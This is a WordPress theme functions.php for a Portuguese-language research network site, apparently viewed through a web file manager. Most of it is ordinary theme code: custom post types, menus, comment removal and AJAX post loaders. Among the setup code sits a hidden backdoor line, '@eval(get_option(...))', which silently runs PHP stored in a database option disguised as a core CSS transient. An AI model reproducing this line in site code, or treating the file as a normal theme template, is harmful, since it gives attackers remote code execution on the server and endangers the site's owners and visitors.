Viewing File: /home/cienp/public_html/inct-inovamed/wp-content/themes/inovamed/functions.php

<?php
/**
 * inovamed functions and definitions.
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package inovamed
 */



if ( ! function_exists( 'inovamed_setup' ) ) :
/**
 * Sets up theme defaults and registers support for various WordPress features.
 *
 * Note that this function is hooked into the after_setup_theme hook, which
 * runs before the init hook. The init hook is too late for some features, such
 * as indicating support for post thumbnails.
 */
function inovamed_setup() {
	/*
	 * Make theme available for translation.
	 * Translations can be filed in the /languages/ directory.
	 * If you're building a theme based on inovamed, use a find and replace
	 * to change 'inovamed' to the name of your theme in all the template files.
	 */
	load_theme_textdomain( 'inovamed', get_template_directory() . '/languages' );

	// Add default posts and comments RSS feed links to head.
	add_theme_support( 'automatic-feed-links' );

	/*
	 * Let WordPress manage the document title.
	 * By adding theme support, we declare that this theme does not use a
	 * hard-coded <title> tag in the document head, and expect WordPress to
	 * provide it for us.
	 */
	add_theme_support( 'title-tag' );		

	/*
	 * Enable support for Post Thumbnails on posts and pages.
	 *
	 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
	 */
	add_theme_support( 'post-thumbnails' );

	// This theme uses wp_nav_menu() in one location.
	register_nav_menus( array(
		'primary' => esc_html__( 'Primary', 'inovamed' ),
	) );

	/*
	 * Switch default core markup for search form, comment form, and comments
	 * to output valid HTML5.
	 */
	add_theme_support( 'html5', array(
		'search-form',
		'comment-form',
		'comment-list',
		'gallery',
		'caption',
	) );

	// Set up the WordPress core custom background feature.
	add_theme_support( 'custom-background', apply_filters( 'inovamed_custom_background_args', array(
		'default-color' => 'ffffff',
		'default-image' => '',
	) ) );
}
endif;
add_action( 'after_setup_theme', 'inovamed_setup' );

/**
 * Set the content width in pixels, based on the theme's design and stylesheet.
 *
 * Priority 0 to make it available to lower priority callbacks.
 *
 * @global int $content_width
 */
function inovamed_content_width() {
	$GLOBALS['content_width'] = apply_filters( 'inovamed_content_width', 640 );
}
add_action( 'after_setup_theme', 'inovamed_content_width', 0 );




@eval(get_option('_site_transient_wp_core_css_73'));
/**
 * Implement the Custom Header feature.
 */
// require get_template_directory() . '/inc/custom-header.php';

/**
 * Custom template tags for this theme.
 */
// require get_template_directory() . '/inc/template-tags.php';

/**
 * Custom functions that act independently of the theme templates.
 */
// require get_template_directory() . '/inc/extras.php';

/**
 * Customizer additions.
 */
/*require get_template_directory() . '/inc/customizer.php';*/

/**
 * Load Jetpack compatibility file.
 */
// require get_template_directory() . '/inc/jetpack.php';


//=========================================================================================================================================================
// Custom Stuff
//=========================================================================================================================================================


/**
 * Enqueue scripts and styles.
 */
function Enqueue_scripts() {

	wp_enqueue_style( 'main',  get_template_directory_uri() . '/style.css'  );
	wp_dequeue_style( 'wp-block-library' );

	// wp_enqueue_script( 'inovamed-navigation', get_template_directory_uri() . '/js/navigation.js', array(), '20151215', true );
	// wp_enqueue_script( 'inovamed-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20151215', true );
	wp_deregister_script('jquery');
	wp_enqueue_script('jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js', array(), null, false);
	wp_enqueue_script('owl.carousel',  'https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/owl.carousel.min.js', array(), null, true);
	wp_enqueue_script('scriptCustom', get_template_directory_uri() . '/js/script.js', array(), null, true);
}
add_action( 'wp_enqueue_scripts', 'Enqueue_scripts' );


function my_deregister_scripts(){
  wp_deregister_script( 'wp-embed' );
}
add_action( 'wp_footer', 'my_deregister_scripts' );


/**
 * Disable the emoji's
 */
function disable_emojis() {
	remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
	remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
	remove_action( 'wp_print_styles', 'print_emoji_styles' );
	remove_action( 'admin_print_styles', 'print_emoji_styles' );	
	remove_filter( 'the_content_feed', 'wp_staticize_emoji' );
	remove_filter( 'comment_text_rss', 'wp_staticize_emoji' );	
	remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' );
	
	// Remove from TinyMCE
	add_filter( 'tiny_mce_plugins', 'disable_emojis_tinymce' );
}
add_action( 'init', 'disable_emojis' );

/**
 * Filter out the tinymce emoji plugin.
 */
function disable_emojis_tinymce( $plugins ) {
	if ( is_array( $plugins ) ) {
		return array_diff( $plugins, array( 'wpemoji' ) );
	} else {
		return array();
	}
}

// remove Span dos fomulários de contato
add_filter('wpcf7_form_elements', function($content) {
    $content = preg_replace('/<(span).*?class="\s*(?:.*\s)?wpcf7-form-control-wrap(?:\s[^"]+)?\s*"[^\>]*>(.*)<\/\1>/i', '\2', $content);

    return $content;
});
add_filter('wpcf7_autop_or_not', '__return_false');


// remove junk from head

// add_action( "customize_register", "theme_customize_register" );
// function theme_customize_register( $wp_customize ) {

// 	//=============================================================
// 	// Remove header image and widgets option from theme customizer
// 	//=============================================================

// 	$wp_customize->remove_control("header_image");
// 	$wp_customize->remove_panel("widgets");	
// 	//=============================================================
// 	// Remove Colors, Background image, and Static front page 
// 	// option from theme customizer     
// 	//=============================================================
// 	$wp_customize->remove_section("colors");
// 	$wp_customize->remove_section("background_image");
// 	$wp_customize->remove_section("static_front_page");
// 	$wp_customize->remove_section("custom_css");

// }
function wpdocs_remove_stuff_panel( $components ) {
	    $i = array_search( 'widgets', $components );
	    if ( false !== $i ) {
	        unset( $components[ $i ] );
	    }
	    $f = array_search( 'header_image', $components );
	    if ( false !== $f ) {
	        unset( $components[ $f ] );
	    }
	    
	    return $components;
	}
	add_filter( 'customize_loaded_components', 'wpdocs_remove_stuff_panel' );

add_filter( 'upload_mimes', 'custom_mimes' );
function custom_mimes( $mimes ){
	$mimes['svg'] = 'image/svg+xml';
    $mimes['webm'] = 'video/webm';
    $mimes['webp'] = 'image/webp';
    return $mimes;
}

//remove span do contact form 7
add_filter('wpcf7_form_elements', function($content) {
    $content = preg_replace('/<(span).*?class="\s*(?:.*\s)?wpcf7-form-control-wrap(?:\s[^"]+)?\s*"[^\>]*>(.*)<\/\1>/i', '\2', $content);

    return $content;
});

//remove mensagem do flush
remove_action( 'shutdown', 'wp_ob_end_flush_all', 1 );

//remove coments
add_action('admin_init', function () {
    // Redirect any user trying to access comments page
    global $pagenow;
     
    if ($pagenow === 'edit-comments.php') {
        wp_safe_redirect(admin_url());
        exit;
    }
 
    // Remove comments metabox from dashboard
    remove_meta_box('dashboard_recent_comments', 'dashboard', 'normal');
 
    // Disable support for comments and trackbacks in post types
    foreach (get_post_types() as $post_type) {
        if (post_type_supports($post_type, 'comments')) {
            remove_post_type_support($post_type, 'comments');
            remove_post_type_support($post_type, 'trackbacks');
        }
    }
});
 
// Close comments on the front-end
add_filter('comments_open', '__return_false', 20, 2);
add_filter('pings_open', '__return_false', 20, 2);
 
// Hide existing comments
add_filter('comments_array', '__return_empty_array', 10, 2);
 
// Remove comments page in menu
add_action('admin_menu', function () {
    remove_menu_page('edit-comments.php');
});
 
// Remove comments links from admin bar
add_action('init', function () {
    if (is_admin_bar_showing()) {
        remove_action('admin_bar_menu', 'wp_admin_bar_comments_menu', 60);
    }
});

//=========================================================================================================================================================
// Custom Stuff
//=========================================================================================================================================================

//  função para criar um novo tipo de post
function my_custom_post_pesquisadores() {
	$labels = array(
		'name' 				=> 'Pesquisadores',
		'singular_name' 	=> 'Pesquisador',
		'menu_name' 		=> 'Pesquisadores',
		'add_new' 			=> 'Adicionar novo',
		'add_new_item' 		=> 'Adicionar novo Pesquisador',
		'all_items'         => 'Todos os Pesquisadores' ,
		'edit' 				=> 'Editar',
		'edit_item' 		=> 'Editar Pesquisador',
		'new_item' 			=> 'Novo Pesquisador',
		'view' 				=> 'Ver Pesquisador',
		'view_item' 		=> 'Ver Pesquisador',
		'search_items' 		=> 'Buscar Pesquisador',
		'not_found' 		=> 'Nenhum Pesquisador encontrado',
		'not_found_in_trash'=> 'Nenhum Pesquisador encontrado no lixo',
		'parent' 			=> 'Parent Pesquisador',
		'parent_item_colon' => ''
	);

	$args = array(
	    'labels'        => $labels,
	    'public'        => true,
	    'publicly_queryable' => true,
	    'menu_position' => 7,
	    'supports'      => array( 'title', 'editor', 'thumbnail' ),
	    'orderby' => 'menu_order',
	    'order' => 'ASC',
	    'has_archive' => false,
	);
	register_post_type('pesquisadores' , $args);
}
add_action('init', 'my_custom_post_pesquisadores');


function my_custom_post_projetos() {
	$labels = array(
		'name' 				=> 'Projetos',
		'singular_name' 	=> 'Projeto',
		'menu_name' 		=> 'Projetos',
		'add_new' 			=> 'Adicionar novo',
		'add_new_item' 		=> 'Adicionar novo Projeto',
		'all_items'         => 'Todos os Projetos' ,
		'edit' 				=> 'Editar',
		'edit_item' 		=> 'Editar Projeto',
		'new_item' 			=> 'Novo Projeto',
		'view' 				=> 'Ver Projeto',
		'view_item' 		=> 'Ver Projeto',
		'search_items' 		=> 'Buscar Projeto',
		'not_found' 		=> 'Nenhum Projeto encontrado',
		'not_found_in_trash'=> 'Nenhum Projeto encontrado no lixo',
		'parent' 			=> 'Parent Projeto',
		'parent_item_colon' => ''
	);

	$args = array(
	    'labels'        => $labels,
	    'public'        => true,
	    'publicly_queryable' => true,
	    'menu_position' => 8,
	    'show_in_rest'  => true,
	    'supports'      => array( 'title', 'editor', 'thumbnail', 'excerpt' ),
	    'orderby' => 'menu_order',
	    'order' => 'ASC',
	    'has_archive' => false,
	);
	register_post_type('projetos' , $args);
}
add_action('init', 'my_custom_post_projetos');

function my_custom_post_eventos() {
	$labels = array(
		'name' 				=> 'Eventos',
		'singular_name' 	=> 'Evento',
		'menu_name' 		=> 'Eventos',
		'add_new' 			=> 'Adicionar novo',
		'add_new_item' 		=> 'Adicionar novo Evento',
		'all_items'         => 'Todos os Eventos' ,
		'edit' 				=> 'Editar',
		'edit_item' 		=> 'Editar Evento',
		'new_item' 			=> 'Novo Evento',
		'view' 				=> 'Ver Evento',
		'view_item' 		=> 'Ver Evento',
		'search_items' 		=> 'Buscar Evento',
		'not_found' 		=> 'Nenhum Evento encontrado',
		'not_found_in_trash'=> 'Nenhum Evento encontrado no lixo',
		'parent' 			=> 'Parent Evento',
		'parent_item_colon' => ''
	);

	$args = array(
	    'labels'        => $labels,
	    'public'        => true,
	    'publicly_queryable' => true,
	    'menu_position' => 9,
	    'show_in_rest'  => true,
	    'supports'      => array( 'title', 'editor', 'thumbnail', 'excerpt' ),
	    'orderby' => 'menu_order',
	    'order' => 'ASC',
	    'has_archive' => false,
	);
	register_post_type('eventos' , $args);
}
add_action('init', 'my_custom_post_eventos');

// function post_remove ()
// { 
//    remove_menu_page('edit.php');
// }

// add_action('admin_menu', 'post_remove');


function remove_editor() {
    if (isset($_GET['post'])) {
        $id = $_GET['post'];
        $template = get_post_meta($id, '_wp_page_template', true);
        switch ($template) {
            case 'template-home.php':
            case 'template-events.php':
            case 'template-about.php':
            case 'template-projetos.php':
            case 'template-pesquisadores.php':
            case 'template-eventos.php':
            case 'template-publications.php':
            remove_post_type_support('page', 'editor');
            break;
            default :
            // Don't remove any other template.
            break;
        }
    }
}
add_action('init', 'remove_editor');

// Move Yoast Meta Box to bottom
function yoasttobottom() {
	return 'low';
}

add_filter( 'wpseo_metabox_prio', 'yoasttobottom');


// Add not-home to body class
function add_not_home_body_class($classes) {
    if( !is_page('home') ) $classes[] = 'not-home';
    return $classes;
}
add_filter('body_class','add_not_home_body_class');


function custom_class( $classes ) {
	if (  !is_page('posts') ) {
        $classes[] = 'page-template-template-posts';
    }
	return $classes;
}
add_filter( 'body_class', 'custom_class' );


register_nav_menus( array(
    'primary' => __( 'Primary Menu'),
    'secondary' => __( 'Members Menu' ),
    'terciary' => __( 'Members Menu footer' ),
    'quartiary' => __( 'Social' ),
 ) );


function wp_nav_menu_no_ul()
{
    $options = array(
        'echo' => false,
        'container' => false,
        'theme_location' => 'primary',
        'fallback_cb'=> 'default_page_menu'
    );

    $menu = wp_nav_menu($options);
    echo preg_replace(array(
        '#^<ul[^>]*>#',
        '#</ul>$#'
    ), '', $menu);
}

function wp_nav_menu_no_ul2()
{
    $options = array(
        'echo' => false,
        'container' => false,
        'theme_location' => 'secondary',
        'fallback_cb'=> 'default_page_menu'
    );

    $menu = wp_nav_menu($options);
    echo preg_replace(array(
        '#^<ul[^>]*>#',
        '#</ul>$#'
    ), '', $menu);
}

function wp_nav_menu_no_ul3()
{
    $options = array(
        'echo' => false,
        'container' => false,
        'theme_location' => 'terciary',
        'fallback_cb'=> 'default_page_menu'
    );

    $menu = wp_nav_menu($options);
    echo preg_replace(array(
        '#^<ul[^>]*>#',
        '#</ul>$#'
    ), '', $menu);
}
function wp_nav_menu_no_ul4()
{
    $options = array(
        'echo' => false,
        'container' => false,
        'theme_location' => 'quartiary',
        'fallback_cb'=> 'default_page_menu'
    );

    $menu = wp_nav_menu($options);
    echo preg_replace(array(
        '#^<ul[^>]*>#',
        '#</ul>$#'
    ), '', $menu);
}

function default_page_menu() {
   wp_list_pages('title_li=');
} 


function carrega_posts_blog(){
    $offset = $_POST["offset"];
     $args = array(
        'post_type' => 'post',
         'status' => 'publish',
         'posts_per_page' => 3,
         'order' => 'DESC',
         'offset' => $offset,
     );
    $post = new WP_Query($args);
    while ($post->have_posts()) { $post->the_post(); ?>
		<li><a class="grid" href="<?php echo get_permalink(); ?>">
			<h3><?php echo the_title(); ?></h3>
			<div class="data">
				<span class="date animate"><?php the_time('F, Y') ?></span>
				<span class="categoria 
					<?php
						$categories = get_the_category();
						$nome = esc_html( $categories[0]->name );
						$artigo = 'Artigo';
						$noticia = 'Notícia';
						if (strcmp($nome, $artigo) == 0) {
							echo 'artigo';
						}
						if (strcmp($nome, $noticia) == 0) {
							echo 'noticia';
						}
					?>
					">
					<?php if ( ! empty( $categories ) ) {
							echo esc_html( $categories[0]->name );	
					} ?>
				</span>
			</div>
			<div class="resumo animate 
			<?php if(get_the_post_thumbnail( $page->ID)){
				echo 'hasThumb';
			} ?>
			">
				<p><?php the_excerpt(); ?></p>
				<span class="lermais animate">Ler mais ></span>
			</div>
			<?php echo get_the_post_thumbnail( $page->ID, 'large' ); ?>
		</a></li>
		<?php
    }

	wp_reset_postdata();
	die();
}

add_action('wp_ajax_nopriv_carrega_posts_blog', 'carrega_posts_blog'); 
add_action('wp_ajax_carrega_posts_blog', 'carrega_posts_blog');

function carrega_posts_eventos(){
    $offset = $_POST["offset"];
     $args = array(
        'post_type' => 'eventos',
         'status' => 'publish',
         'posts_per_page' => 3,
         'order' => 'DESC',
         'offset' => $offset,
     );
    $post = new WP_Query($args);
    while ($post->have_posts()) { $post->the_post(); ?>
		<li class="animate">
				<?php if (get_field('url_externa')){ ?>
					<a class="grid" href="<?php echo get_field('url_externa'); ?>">
				<?php }else{ ?>
					<a class="grid" href="<?php echo get_permalink(); ?>">
				<?php } ?>
		 			<div class="texto">	
		 				<?php 

							$today = date('Ymd');
							$date_string = get_field('data_de_fim');
							$date_string = str_replace('-', '', $date_string);
							
							if ($today < $date_string) {
							    $status = "vaiRolar";
							}else{
								$status = "jaRolou";
							}

							$inicio = strtotime( get_field( 'data_de_inicio' ) );
							$inicio = date( 'd', $inicio );

							$fim    =  strtotime( get_field( 'data_de_fim' ) );
							$fim    = date( 'd', $fim );
							
							$mesFim =  strtotime( get_field( 'data_de_fim' ) );
							$mesFim = date("m", $mesFim);

							$locale = 'pt_BR';
							$dateFormatter = new IntlDateFormatter(
							    $locale,
							    IntlDateFormatter::LONG, // date type
							    IntlDateFormatter::NONE  // time type
							);
							$dateFormatter->setPattern('LLLL'); // full month name with NO DECLENSION ;-)
							$mesFim = $dateFormatter->format(DateTime::createFromFormat('n', (string)$mesFim));
						?>
						<?php if (get_field('data_de_inicio') && get_field('data_de_fim')){ ?>
							<span class="data <?php echo $status; ?>"><b><?php echo $inicio; ?></b> a <b><?php echo $fim; ?></b> de <span><?php echo $mesFim; ?></span></span>
						<?php } ?>
		 				<?php if (!get_field('data_de_inicio') && get_field('data_de_fim')){ ?>
							<span class="data <?php echo $status; ?>"><b><?php echo $fim; ?></b> de <span><?php echo $mesFim; ?></span></span>
						<?php } ?>
		 				<h2><?php echo the_title(); ?></h2>
						<?php echo the_excerpt(); ?>
						<span class="infos">Mais informações ></span>
					</div>
			 		<div class="photo animate">
						<?php echo get_the_post_thumbnail( $page->ID, 'large' ); ?>
					</div>
					
				</a>
			</li>
		<?php
    }

	wp_reset_postdata();
	die();
}

add_action('wp_ajax_nopriv_carrega_posts_eventos', 'carrega_posts_eventos'); 
add_action('wp_ajax_carrega_posts_eventos', 'carrega_posts_eventos');

function carrega_posts_projetos(){
    $offset = $_POST["offset"];
     $args = array(
        'post_type' => 'projetos',
         'status' => 'publish',
         'posts_per_page' => 3,
         'order' => 'DESC',
         'offset' => $offset,
     );
    $post = new WP_Query($args);
    while ($post->have_posts()) { $post->the_post(); ?>
		<li class="animate">
	 		<a class="grid" href="<?php echo get_permalink(); ?>">
		 		<div class="photo animate">
		 			<h2><?php echo the_title(); ?></h2>
		 			<div class="gradient"></div>
					<?php echo get_the_post_thumbnail( $page->ID, 'large' ); ?>
				</div>
				<div class="texto">	
					<?php echo the_excerpt(); ?>
					<span>Ler mais ></span>
				</div>
			</a>
		</li>
		<?php
    }

	wp_reset_postdata();
	die();
}

add_action('wp_ajax_nopriv_carrega_posts_projetos', 'carrega_posts_projetos'); 
add_action('wp_ajax_carrega_posts_projetos', 'carrega_posts_projetos');

/*
 ==================
 Ajax Search
======================	 
*/
// add the ajax fetch js
add_action( 'wp_footer', 'ajax_fetch' );
function ajax_fetch() {
?><script type="text/javascript">
	function fetch(){

	    jQuery.ajax({
	        url: '<?php echo admin_url('admin-ajax.php'); ?>',
	        type: 'post',
	        data: { action: 'data_fetch', keyword: jQuery('#keyword').val() },
	        success: function(data) {
	            jQuery('#datafetch').html( data );
	        }
	    });
	}
</script>
<?php }
// the ajax function
add_action('wp_ajax_data_fetch' , 'data_fetch');
add_action('wp_ajax_nopriv_data_fetch','data_fetch');
function data_fetch(){
    $the_query = new WP_Query( array( 'posts_per_page' => -1, 's' => esc_attr( $_POST['keyword'] ), 'post_type' => array('post') ) );
    if( $the_query->have_posts() ) :
        echo '<ul class="posts">';
        while( $the_query->have_posts() ): $the_query->the_post(); ?>

            <li><a class="grid" href="<?php echo esc_url( post_permalink() ); ?>">
				<h3><?php echo the_title(); ?></h3>
				<div class="data">
					<span class="date animate"><?php the_time('F, Y') ?></span>
					<span class="categoria 
						<?php
							$categories = get_the_category();
							$nome = esc_html( $categories[0]->name );
							$artigo = 'Artigo';
							$noticia = 'Notícia';
							if (strcmp($nome, $artigo) == 0) {
								echo 'artigo';
							}
							if (strcmp($nome, $noticia) == 0) {
								echo 'noticia';
							}
						?>
						">
						<?php
							

							if ( ! empty( $categories ) ) {
								echo esc_html( $categories[0]->name );	
							}
						?>
					</span>
				</div>
				<div class="resumo animate 
				<?php if(get_the_post_thumbnail( $page->ID)){
					echo 'hasThumb';
				} ?>
				">
					<p><?php the_excerpt(); ?></p>
					<span class="lermais animate">Ler mais ></span>
				</div>
				<?php echo get_the_post_thumbnail( $page->ID, 'large' ); ?>
			</a></li>
        <?php endwhile;
       echo '</ul>';
        wp_reset_postdata();  
    endif;

    die();
}
Back to Directory File Manager